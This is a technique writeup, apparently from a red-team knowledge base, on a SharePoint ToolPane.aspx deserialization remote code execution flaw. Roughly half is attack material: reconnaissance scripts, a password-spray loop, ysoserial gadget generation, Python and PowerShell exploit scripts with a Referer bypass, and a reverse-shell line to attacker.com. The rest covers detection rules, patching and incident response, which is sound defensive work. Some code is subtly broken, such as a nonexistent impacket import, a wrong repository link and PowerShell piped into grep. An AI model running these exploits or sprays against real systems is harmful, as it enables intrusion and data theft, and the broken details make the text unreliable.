| Attribute | Details |
|---|---|
| Technique ID | CVE2025-009 |
| MITRE ATT&CK v18.1 | T1210 - Exploitation of Remote Services |
| Tactic | Execution, Lateral Movement |
| Platforms | Windows Server (On-Premises SharePoint) |
| Severity | Critical |
| CVE | CVE-2025-21075 |
| Technique Status | ACTIVE (Exploited in Wild) |
| Last Verified | 2026-01-09 |
| Affected Versions | SharePoint Server 2016, 2019, SharePoint Subscription Edition |
| Patched In | KB5002754 (2019), KB5002768 (Subscription), KB5002760 (2016) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: CVE-2025-21075 is a post-authentication remote code execution vulnerability in Microsoft SharePoint Server that enables attackers with Site Member or higher privileges to execute arbitrary .NET code via the ToolPane.aspx endpoint. The vulnerability stems from improper validation of XML content in the GetPartPreviewAndPropertiesFromMarkup method, which deserializes untrusted data without adequate type validation. An authenticated attacker can craft a malicious __VIEWSTATE payload containing a serialized gadget chain that, when deserialized by the SharePoint application pool, executes attacker-supplied commands at the Windows SYSTEM privilege level.
Attack Surface: The attack targets the /_layouts/15/ToolPane.aspx endpoint in SharePoint Server on-premises installations exposed to the network. The exploitation requires initial authentication (either compromised credentials or social engineering).
Business Impact: Complete compromise of the SharePoint server and lateral movement to connected systems. A successful exploitation grants the attacker ability to execute arbitrary code with SYSTEM privileges, install persistent backdoors, exfiltrate sensitive data (including machine keys enabling persistent access), and pivot to other infrastructure. Organizations relying on SharePoint for sensitive document management face data breaches and operational disruption.
Technical Context: The ToolShell attack chain was initially presented at Pwn2Own Berlin 2025 (May 16, 2025) and actively exploited in the wild by July 18, 2025. Exploitation typically takes 2-5 minutes per target once authentication is obtained. Detection is challenging due to legitimate SharePoint requests mimicking malicious traffic.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 8.4.4 | Ensure that Office SharePoint servers are restricted to authenticated users only |
| DISA STIG | SI-2 | Security updates and patches must be applied to SharePoint within 30 days |
| CISA SCuBA | SharePoint Security Baseline | Require multi-factor authentication for SharePoint access |
| NIST 800-53 | SI-2, AC-6 | Maintain security patches; Implement least privilege access |
| GDPR | Art. 32 | Security of Processing - Encryption and access controls for data in SharePoint |
| DORA | Art. 9 | Protection and Prevention - Incident response for critical infrastructure |
| NIS2 | Art. 21 | Cyber Risk Management Measures for critical infrastructure operators |
| ISO 27001 | A.14.2.1 | Secure development, testing, and operational change management |
| ISO 27005 | Unauthorized Code Execution | Risk: Compromise of documents and data stored in SharePoint |
Required Privileges: Site Member (minimum); Site Owner (preferred for easier exploitation)
Required Access:
Supported Versions:
Tools:
curl, PowerShell, base64 encoder# Check if target SharePoint server is accessible and identify version
$SPServer = "sharepoint.internal"
$ToolPaneUrl = "http://$SPServer/_layouts/15/ToolPane.aspx"
# Attempt to access ToolPane.aspx (unauthenticated)
Invoke-WebRequest -Uri $ToolPaneUrl -Method GET -ErrorAction SilentlyContinue | Select-Object StatusCode, Headers
# If accessible with 200/302, SharePoint Server 2016/2019/Subscription is running
# 401/403 indicates authentication or permission restriction
# Enumerate SharePoint version via HTTP headers and responses
$Response = Invoke-WebRequest -Uri "http://$SPServer/" -Method GET
$Response.Headers | Where-Object {$_ -match 'Server|X-SharePointHealthScore|X-AspNet'}
# Check for known gadget chains available in the SharePoint installation
# (Requires authenticated access)
$Credential = Get-Credential
$Session = New-WebRequestSession -Credential $Credential
Invoke-WebRequest -Uri "http://$SPServer/_api/site" -WebSession $Session | Select-Object StatusCode
# If HTTP 200: Site accessible with provided credentials
# If HTTP 401: Credentials invalid
# If HTTP 403: User lacks site access
What to Look For:
X-SharePointHealthScore header confirms SharePoint serverVersion Note: Different SharePoint versions (2016 vs. 2019 vs. Subscription Edition) may have different patching status; CVE-2025-21075 affects all three if patches KB5002754/KB5002768/KB5002760 are not applied.
#!/bin/bash
# Reconnaissance script for CVE-2025-21075
TARGET_SERVER="sharepoint.internal"
TARGET_PORT="80"
# Test connectivity to SharePoint server
nc -zv $TARGET_SERVER $TARGET_PORT
# If open: "Connection to sharepoint.internal 80 port [tcp/http] succeeded!"
# Enumerate ToolPane.aspx endpoint
curl -I "http://$TARGET_SERVER/_layouts/15/ToolPane.aspx"
# Expected response (if vulnerable):
# HTTP/1.1 302 Found
# Location: /_layouts/15/AccessDenied.aspx?Source=...
# or HTTP/1.1 200 OK
# Identify SharePoint version via HTTP headers
curl -I "http://$TARGET_SERVER/" | grep -i "server\|x-sharepoint"
# Test with valid credentials (Basic Auth)
curl -u username:password "http://$TARGET_SERVER/_api/site" -v
# HTTP 200 = authenticated access
# HTTP 401 = invalid credentials
# HTTP 403 = access denied
What to Look For:
Supported Versions: SharePoint Server 2016, 2019, Subscription Edition
Objective: Create a serialized .NET object containing the arbitrary command to execute. This gadget chain will be embedded in the __VIEWSTATE parameter.
Version Note: SharePoint uses legacy BinaryFormatter deserialization; ysoserial.NET can generate gadgets for WindowsIdentity, ObjectDataProvider, and other sinks.
Command (All Versions):
# First, install ysoserial.NET on your attacking machine (Linux/macOS/Windows)
# Download from: https://github.com/frohoff/ysoserial.net/releases
# Generate gadget chain for command execution
./ysoserial.exe -g WindowsIdentity -f BinaryFormatter \
-c "powershell -Command 'whoami | Out-File C:\\sharepoint-rce-proof.txt'"
Expected Output:
Base64 encoded gadget chain (very long string):
AAEAAAD/////....[truncated]....AAAAAAAAAAAAAAA==
What This Means:
whoami) will executeOpSec & Evasion:
Troubleshooting:
git clone https://github.com/frohoff/ysoserial.net && cd ysoserial.net && dotnet build -c Release./ysoserial.exe -g list | grep -i "windows\|objectdata" and use ObjectDataProvider insteadReferences & Proofs:
Objective: Acquire authenticated credentials with at least Site Member privileges (Site Owner preferred). This is a prerequisite for exploitation.
Version Note: All SharePoint versions require pre-authentication; no unauthenticated RCE variant exists for CVE-2025-21075 (CVE-2025-49704 requires authentication; unauthenticated variants are CVE-2025-53770/53771).
Methods to Obtain Credentials:
Method 2A: Valid Compromised Credentials
# If you already have compromised credentials (from other attacks), store them securely
$Username = "domain\sharepoint_user"
$Password = "SecurePassword123!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)
# Verify credentials work against SharePoint
$Session = New-WebRequestSession -Credential $Credential
$TestResponse = Invoke-WebRequest -Uri "http://sharepoint.internal/_api/site" -WebSession $Session -ErrorAction SilentlyContinue
if ($TestResponse.StatusCode -eq 200) { Write-Host "Credentials valid!" }
Method 2B: Social Engineering / Phishing
sharepoint-update.com (mimics official domain)Method 2C: Brute Force / Spray Attack
#!/bin/bash
# Password spray against SharePoint (low-and-slow to avoid lockout)
TARGET="sharepoint.internal"
USERLIST="usernames.txt" # List of discovered usernames
COMMON_PASSWORDS=("Welcome2025" "SharePoint2025!" "Company123")
for user in $(cat $USERLIST); do
for pass in "${COMMON_PASSWORDS[@]}"; do
echo "Trying $user:$pass"
curl -u "$user:$pass" "http://$TARGET/_api/site" --connect-timeout 3
sleep 2 # Rate limiting to avoid account lockout
done
done
Method 2D: Exploit Default/Weak Credentials
# Common default accounts in SharePoint environments
$DefaultAccounts = @(
"domain\svc_sharepoint",
"domain\svc_spfarm",
"domain\spinstall",
"Administrator:Administrator",
"sa:sa"
)
foreach ($Cred in $DefaultAccounts) {
$Parts = $Cred.Split(":")
$Credential = New-Object System.Management.Automation.PSCredential($Parts[0], ($Parts[1] | ConvertTo-SecureString -AsPlainText -Force))
# Test credential...
}
Expected Output:
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Embed the gadget chain from Step 1 into an ASP.NET __VIEWSTATE parameter and sign it using valid encryption/HMAC keys (if known) or trigger deserialization without validation.
Version Note: CVE-2025-21075 exploits improper validation in ToolPane.aspx; the gadget chain is deserialized even with mismatched signatures in certain code paths.
Command (All Versions):
#!/usr/bin/env python3
import base64
import requests
from requests.auth import HTTPBasicAuth
import sys
# Configuration
TARGET = "http://sharepoint.internal"
USERNAME = "domain\\sharepoint_user"
PASSWORD = "SecurePassword123!"
GADGET_CHAIN = "AAEAAAD/////....[paste gadget chain from Step 1]....AAAAAAAAAAAAAAA=="
# Create authenticated session
session = requests.Session()
session.auth = HTTPBasicAuth(USERNAME, PASSWORD)
# Construct malicious __VIEWSTATE payload
# The gadget chain is Base64-encoded and sent as the __VIEWSTATE parameter
viewstate_payload = GADGET_CHAIN
# Prepare POST request to ToolPane.aspx
url = f"{TARGET}/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"{TARGET}/_layouts/SignOut.aspx" # Bypass authentication checks
}
data = {
"__VIEWSTATE": viewstate_payload,
"__VIEWSTATEGENERATOR": "00000000",
"__EVENTVALIDATION": "/wEdAAEAAA=="
}
print(f"[*] Sending malicious payload to {url}")
print(f"[*] VIEWSTATE length: {len(viewstate_payload)}")
response = session.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Response Status Code: {response.status_code}")
print(f"[*] Response Length: {len(response.content)}")
if response.status_code == 200:
print("[+] Exploitation likely successful! Check target system for command execution.")
else:
print(f"[-] Unexpected response: {response.status_code}")
print(response.text[:500]) # Print first 500 chars of response
Command (Server 2016-2019):
# PowerShell variant for Windows machines
$Target = "http://sharepoint.internal"
$Username = "domain\sharepoint_user"
$Password = "SecurePassword123!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)
$GADGET_CHAIN = "AAEAAAD/////....[paste gadget chain]....AAAAAAAAAAAAAAA=="
$WebSession = New-WebRequestSession -Credential $Credential
$Body = @{
"__VIEWSTATE" = $GADGET_CHAIN
"__VIEWSTATEGENERATOR" = "00000000"
"__EVENTVALIDATION" = "/wEdAAEAAA=="
}
$Response = Invoke-WebRequest `
-Uri "$Target/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx" `
-Method POST `
-Body $Body `
-WebSession $WebSession `
-Headers @{"Referer" = "$Target/_layouts/SignOut.aspx"} `
-ContentType "application/x-www-form-urlencoded"
if ($Response.StatusCode -eq 200) {
Write-Host "[+] Exploitation likely successful!"
}
Expected Output:
[*] Sending malicious payload to http://sharepoint.internal/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
[*] VIEWSTATE length: 4856
[*] Response Status Code: 200
[*] Response Length: 2341
[+] Exploitation likely successful! Check target system for command execution.
What This Means:
whoami | Out-File C:\sharepoint-rce-proof.txt, check for this file on the target serverOpSec & Evasion:
Troubleshooting:
calc.exe or whoami command first; verify gadget chain format matches deserialization sinkReferences & Proofs:
Objective: Confirm that the arbitrary command executed on the target SharePoint server with SYSTEM privileges.
Version Note: Same verification method across all SharePoint versions.
Command (All Versions):
# Check if the proof file exists on the target server
# (Requires file system access or RCE with ability to list files)
# Method 1: Via RCE output redirection (already embedded in gadget chain)
# If initial command was: whoami | Out-File C:\sharepoint-rce-proof.txt
# Connect to SharePoint server and check:
ls "\\sharepoint.internal\c$\sharepoint-rce-proof.txt"
# If file exists: Exploitation successful
# Method 2: Via second RCE command to extract proof
# Send a new gadget chain that reads the proof file and exfiltrates it
# Method 3: Via reverse shell
# Gadget chain: powershell -Command '$client = New-Object System.Net.Sockets.TcpClient("attacker.com", 4444); $stream = $client.GetStream(); ...'
# Listener on attacker machine: nc -lvnp 4444
# If shell connects: Exploitation successful
Expected Output:
What This Means:
Supported Versions: SharePoint Server 2016, 2019, Subscription Edition
Objective: Identify all accessible SharePoint servers and vulnerable ToolPane.aspx endpoints on the network.
Command:
#!/bin/bash
# Fast enumeration of SharePoint servers
# Method 1: DNS enumeration (if DNS records available)
nslookup -type=SRV _sharepoint._tcp.internal.com
# Returns: sharepoint.internal, sharepoint-web1.internal, sharepoint-web2.internal, etc.
# Method 2: Port scanning (ports 80, 443 typically used by SharePoint)
nmap -p 80,443 --open 10.0.0.0/24 -oG sharepoint-scan.txt
grep "Ports: 80/open" sharepoint-scan.txt | awk '{print $2}' > sharepoint-servers.txt
# Method 3: HTTP banner grabbing
for server in $(cat sharepoint-servers.txt); do
echo "Scanning $server..."
curl -I "http://$server/_layouts/15/ToolPane.aspx" 2>/dev/null | head -n 1
done
# Method 4: Identify web servers running SharePoint
grep -r "SharePoint\|OWA\|MOSS" /var/log/apache2/* /var/log/nginx/* 2>/dev/null | cut -d: -f1 | sort -u
Expected Output:
sharepoint.internal
sharepoint-web1.internal
sharepoint-web2.internal
What This Means:
Objective: Use Impacket to craft and send the malicious HTTP request directly, bypassing the need for interactive web browser.
Command:
#!/usr/bin/env python3
from impacket.examples import evilwinrm
import requests
import base64
import sys
# Configuration
TARGET_SERVER = "sharepoint.internal"
DOMAIN = "INTERNAL"
USERNAME = "sharepoint_user"
PASSWORD = "SecurePassword123!"
GADGET_CHAIN = "AAEAAAD/////....[paste gadget chain]....AAAAAAAAAAAAAAA=="
# Step 1: Authenticate to SharePoint
session = requests.Session()
auth_url = f"http://{TARGET_SERVER}/_layouts/15/userdisp.aspx"
# Perform NTLM authentication
from requests_ntlm import HttpNtlmAuth
session.auth = HttpNtlmAuth(f"{DOMAIN}\\{USERNAME}", PASSWORD)
# Verify authentication
response = session.get(f"http://{TARGET_SERVER}/_api/site")
if response.status_code == 200:
print("[+] Authenticated successfully")
else:
print(f"[-] Authentication failed: {response.status_code}")
sys.exit(1)
# Step 2: Send exploited request
exploit_url = f"http://{TARGET_SERVER}/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx"
payload = {
"__VIEWSTATE": GADGET_CHAIN,
"__VIEWSTATEGENERATOR": "00000000",
"__EVENTVALIDATION": "/wEdAAEAAA=="
}
print(f"[*] Sending exploit to {exploit_url}")
response = session.post(
exploit_url,
data=payload,
headers={"Referer": f"http://{TARGET_SERVER}/_layouts/SignOut.aspx"},
timeout=10
)
print(f"[*] Response: {response.status_code}")
if response.status_code == 200:
print("[+] Exploitation likely successful!")
else:
print(f"[-] Unexpected response")
Expected Output:
[+] Authenticated successfully
[*] Sending exploit to http://sharepoint.internal/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
[*] Response: 200
[+] Exploitation likely successful!
Rule Configuration:
main, windows, or custom SharePoint indexiis:w3c, sharepoint:logs, or splunk_monitoring_consoleurl, method, src_ip, user, http_referer, statusSPL Query:
sourcetype=iis:w3c OR sourcetype=sharepoint:logs
| search url="*ToolPane.aspx*" method=POST status IN (200, 500)
| regex url="DisplayMode=Edit"
| fields url, src_ip, user, http_referer, status, _raw
| where isnotnull(http_referer) AND http_referer LIKE "%SignOut.aspx%"
| stats count, values(src_ip), values(user) by url
| where count >= 1
Manual Configuration Steps:
What This Detects:
False Positive Analysis:
| where src_ip NOT IN ("10.0.0.1", "10.0.0.2")Source: Graylog SharePoint RCE Detection
Rule Configuration:
main, windowssysmon, windows:security, filechangeTargetFilename, ParentImage, CommandLine*\LAYOUTS\ directory with .aspx extensionSPL Query:
sourcetype=sysmon EventCode=11
| search TargetFilename="*\\LAYOUTS\\*" AND TargetFilename="*.aspx"
| search NOT (TargetFilename="*default.aspx" OR TargetFilename="*master.aspx")
| stats count, values(TargetFilename), values(ParentImage) by host
| where count >= 1
Manual Configuration Steps:
Source: Trellix ToolShell Detection
Rule Configuration:
W3CIISLog (from IIS logs ingested to Sentinel)cs_uri_stem, cs_method, cs_referer, sc_status, cs_usernameKQL Query:
W3CIISLog
| where cs_uri_stem contains "ToolPane.aspx" and cs_uri_stem contains "DisplayMode=Edit"
| where cs_method == "POST"
| where cs_referer contains "SignOut.aspx"
| where sc_status in (200, 500)
| project TimeGenerated, cIP, cs_username, cs_uri_stem, sc_status, cs_referer, Computer
| summarize ExploitAttempts=count(), UniqueUsers=dcount(cs_username) by cIP, Computer
| where ExploitAttempts >= 1
Manual Configuration Steps (Azure Portal):
SharePoint CVE-2025-21075 RCE Exploitation AttemptCritical5 minutes30 minutesManual Configuration Steps (PowerShell):
# Connect to Azure and Sentinel workspace
Connect-AzAccount
$ResourceGroup = "MyResourceGroup"
$WorkspaceName = "MySentinelWorkspace"
# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "SharePoint CVE-2025-21075 RCE Exploitation" `
-Query @"
W3CIISLog
| where cs_uri_stem contains "ToolPane.aspx" and cs_uri_stem contains "DisplayMode=Edit"
| where cs_method == "POST"
| where cs_referer contains "SignOut.aspx"
| where sc_status in (200, 500)
| project TimeGenerated, cIP, cs_username, cs_uri_stem, sc_status, cs_referer, Computer
| summarize ExploitAttempts=count(), UniqueUsers=dcount(cs_username) by cIP, Computer
| where ExploitAttempts >= 1
"@ `
-Severity "Critical" `
-Enabled $true `
-IncidentGroupingType "Suppress"
Source: Microsoft Sentinel SharePoint Detection
Event ID: 4688 (Process Creation)
ParentImage="*w3wp.exe" AND Image LIKE "%powershell.exe%"Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableSample Event ID 4688 Entry (Exploitation Indicator):
Event ID: 4688
Process Information:
Creator Process ID: 0x7a4
Creator Process Name: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\BIN\w3wp.exe
Target User Name: SHAREPOINT_APP_POOL$
Target Domain Name: INTERNAL
Target Logon ID: 0x3e7
New Process ID: 0x2a8
New Process Name: C:\Windows\System32\powershell.exe
Token Elevation Type: TokenElevationTypeFull
Mandatory Label: System Mandatory Level
Creator Token Elevation Type: TokenElevationTypeFull
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016, 2019, 2022, 2025
Sysmon Config Snippet:
<Sysmon schemaversion="4.82">
<!-- Detect w3wp.exe spawning command shells or PowerShell -->
<RuleGroup name="SharePoint RCE Detection" groupRelation="or">
<ProcessCreate onmatch="include">
<ParentImage condition="image">w3wp.exe</ParentImage>
<Image condition="image">cmd.exe</Image>
</ProcessCreate>
<ProcessCreate onmatch="include">
<ParentImage condition="image">w3wp.exe</ParentImage>
<Image condition="image">powershell.exe</Image>
<CommandLine condition="contains">-EncodedCommand</CommandLine>
</ProcessCreate>
<!-- Detect webshell file writes to LAYOUTS directory -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">\LAYOUTS\</TargetFilename>
<TargetFilename condition="image">*.aspx</TargetFilename>
</FileCreate>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Where-Object {$_.ID -eq 1}
Alert Name: Suspicious PowerShell execution from IIS worker process
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender Alert Reference
Search-UnifiedAuditLog -Operations "UserLoggedIn" -StartDate (Get-Date).AddDays(-1) -ResultSize 5000 |
Where-Object {$_.AuditData -like "*sharepoint*" -and $_.AuditData -like "*ToolPane*"}
Manual Configuration Steps (Enable Unified Audit Log):
PowerShell Alternative:
Connect-ExchangeOnline
Search-UnifiedAuditLog -StartDate "01/01/2026" -EndDate "01/09/2026" -Operations "FileUploaded" -ResultSize 10000 |
Where-Object {$_.AuditData -like "*layouts*" -and $_.AuditData -like "*.aspx*"} |
Export-Csv -Path "C:\suspicious-file-uploads.csv"
Apply Security Patches Immediately: Install KB5002754 (2019), KB5002768 (Subscription), KB5002760 (2016) from Microsoft Updates.
Applies To Versions: Server 2016, 2019, Subscription Edition
Manual Steps (Server 2016):
Get-Hotfix | grep KB5002760Manual Steps (Server 2019):
Get-Hotfix | grep KB5002754Manual Steps (Subscription Edition):
Get-Hotfix | grep KB5002768PowerShell:
# Check current patch status
Get-Hotfix | Where-Object {$_.HotFixID -in @("KB5002760", "KB5002754", "KB5002768")}
# Install patch (download manually from Microsoft Update Catalog)
# https://www.catalog.update.microsoft.com/
# After installation, restart SharePoint service
Restart-Service SPWriterV4
Enable AMSI (Antimalware Scan Interface) with Full Mode: Configure SharePoint to scan all HTTP request bodies for malicious gadget chains.
Applies To Versions: All versions
Manual Steps (Central Administration):
PowerShell:
# Enable AMSI scanning on all web applications
$WebApp = Get-SPWebApplication -Identity "SharePoint - 80"
$WebApp.AntiMalwareSettings.Enabled = $true
$WebApp.AntiMalwareSettings.ScanOnDownload = $true
$WebApp.AntiMalwareSettings.ScanOnUpload = $true
$WebApp.Update()
# Enable HTTP Request Body scanning (requires AMSI v2+)
# Edit web.config at C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\WebServices
# Add: <amsi scanRequestBodies="true" />
Rotate All ASP.NET Machine Keys: Generate new MachineKey values to invalidate any stolen keys used by attackers for persistent access.
Applies To Versions: All
Manual Steps:
iisreset.exe /restartPowerShell:
# Rotate machine keys for all web applications
$WebApps = Get-SPWebApplication
foreach ($App in $WebApps) {
Update-SPMachineKey -ServiceAccount $App.ApplicationPool.ManagedAccount -Force
}
# Restart IIS to apply changes
iisreset.exe /restart
# Verify new keys generated
Get-SPWebApplication | Select-Object DisplayName, @{Name="MachineKeyVersion"; Expression={$_.MachineKeyVersion}}
Disable WebDAV (if not required): Disables remote file upload mechanisms that could be exploited for webshell deployment.
Manual Steps (IIS Manager):
Block ToolPane.aspx via WAF (Web Application Firewall): If possible, restrict access to the vulnerable endpoint to trusted IPs only.
Manual Steps (Azure Application Gateway):
Block-ToolPane/_layouts/15/ToolPane.aspxEnforce Multi-Factor Authentication (MFA):
Manual Steps (Azure Entra ID):
Require MFA for SharePoint AccessImplement Conditional Access Policies:
Manual Steps:
Block Suspicious SharePoint AccessRemove Unnecessary SharePoint Permissions:
Manual Steps (SharePoint Admin Center):
# Check if patches applied
Get-Hotfix | Where-Object {$_.HotFixID -in @("KB5002760", "KB5002754", "KB5002768")} | Select-Object HotFixID, InstalledOn
# Expected Output (If Secure):
# HotFixID InstalledOn
# -------- -----------
# KB5002760 1/9/2026
# Verify AMSI enabled
Get-SPWebApplication | Select-Object DisplayName, @{Name="AMSIEnabled"; Expression={$_.AntiMalwareSettings.Enabled}}
# Expected Output:
# DisplayName AMSIEnabled
# ----------- -----------
# SharePoint - 80 True
# Check machine key version (should be recent after rotation)
Get-SPWebApplication | Select-Object DisplayName, MachineKeyVersion
What to Look For:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\spinstall0.aspxC:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\*[random_name].aspxC:\Windows\Temp\[random_name].exe (for payload staging)C:\Windows\System32\config\SAM (if dumped for credential extraction)HKLM\Software\Microsoft\Windows\CurrentVersion\Run\[random_name] (persistence mechanism)HKLM\System\CurrentControlSet\Services\[random_name] (installed service for persistence)-EncodedCommand or Base64-encoded payloadsC:\inetpub\logs\LogFiles\W3SVC1\* (contains HTTP requests to vulnerable endpoint)C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\LOGS\* (may contain errors during deserialization)Get-Item -Path "C:\Path\To\File" -Stream *Get-History or (Get-PSReadlineOption).HistorySavePathIsolate:
Command (IIS):
# Take SharePoint web application offline immediately
Stop-WebSite -Name "SharePoint - 80"
# Or, stop IIS entirely
Stop-Service W3SVC -Force
Stop-Service WAS -Force
Manual (Azure):
Collect Evidence:
Command:
# Export IIS W3C logs for forensics
Copy-Item "C:\inetpub\logs\LogFiles\W3SVC1\*" -Destination "E:\Forensics\IIS-Logs\"
# Capture SharePoint ULS logs
Copy-Item "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\LOGS\*" -Destination "E:\Forensics\ULS-Logs\"
# Export Security event log
wevtutil epl Security "E:\Forensics\Security.evtx"
# Capture memory dump of w3wp.exe (if still running)
procdump64.exe -ma w3wp.exe "E:\Forensics\w3wp.dmp"
# List all ASPX files in LAYOUTS directories (for webshell identification)
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\*\TEMPLATE\LAYOUTS\" -Filter "*.aspx" -Recurse | Export-Csv "E:\Forensics\ASPX-Files.csv"
Manual:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\Remediate:
Command:
# Remove webshell
Remove-Item "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\spinstall0.aspx" -Force
# Kill any suspicious processes spawned from w3wp.exe
Get-Process | Where-Object {$_.Parent.Name -eq "w3wp" -and $_.Name -like "*powershell*"} | Stop-Process -Force
# Restart IIS
iisreset.exe /restart
# Reset compromised user passwords
Set-ADAccountPassword -Identity "sharepoint_user" -NewPassword (ConvertTo-SecureString -AsPlainText "NewSecurePassword123!" -Force) -Reset
# Disable compromised accounts (if needed)
Disable-ADAccount -Identity "compromised_account"
# Rotate machine keys (critical!)
Update-SPMachineKey -ServiceAccount (Get-SPFarm).DefaultServiceAccount -Force
# Restart SharePoint services
Restart-Service SPAdminV4, SPTimerV4, SPWriterV4 -Force
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker sends phishing email with device code flow link to compromise admin account |
| 2 | Credential Access | [CA-BRUTE-001] Azure Portal Password Spray | Attacker sprays common passwords to gain initial credentials |
| 3 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker escalates from Site Member to Site Owner via role abuse |
| 4 | Exploitation | [CVE2025-009] SharePoint RCE | Attacker exploits CVE-2025-21075 to achieve code execution |
| 5 | Post-Exploitation | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates persistent backdoor by stealing machine keys |
| 6 | Persistence | [PERSIST-001] Web Shell Installation | Attacker plants multiple webshells across SharePoint farm |
| 7 | Exfiltration | [EXFIL-001] Data Staged for Exfiltration | Attacker extracts sensitive documents from SharePoint libraries |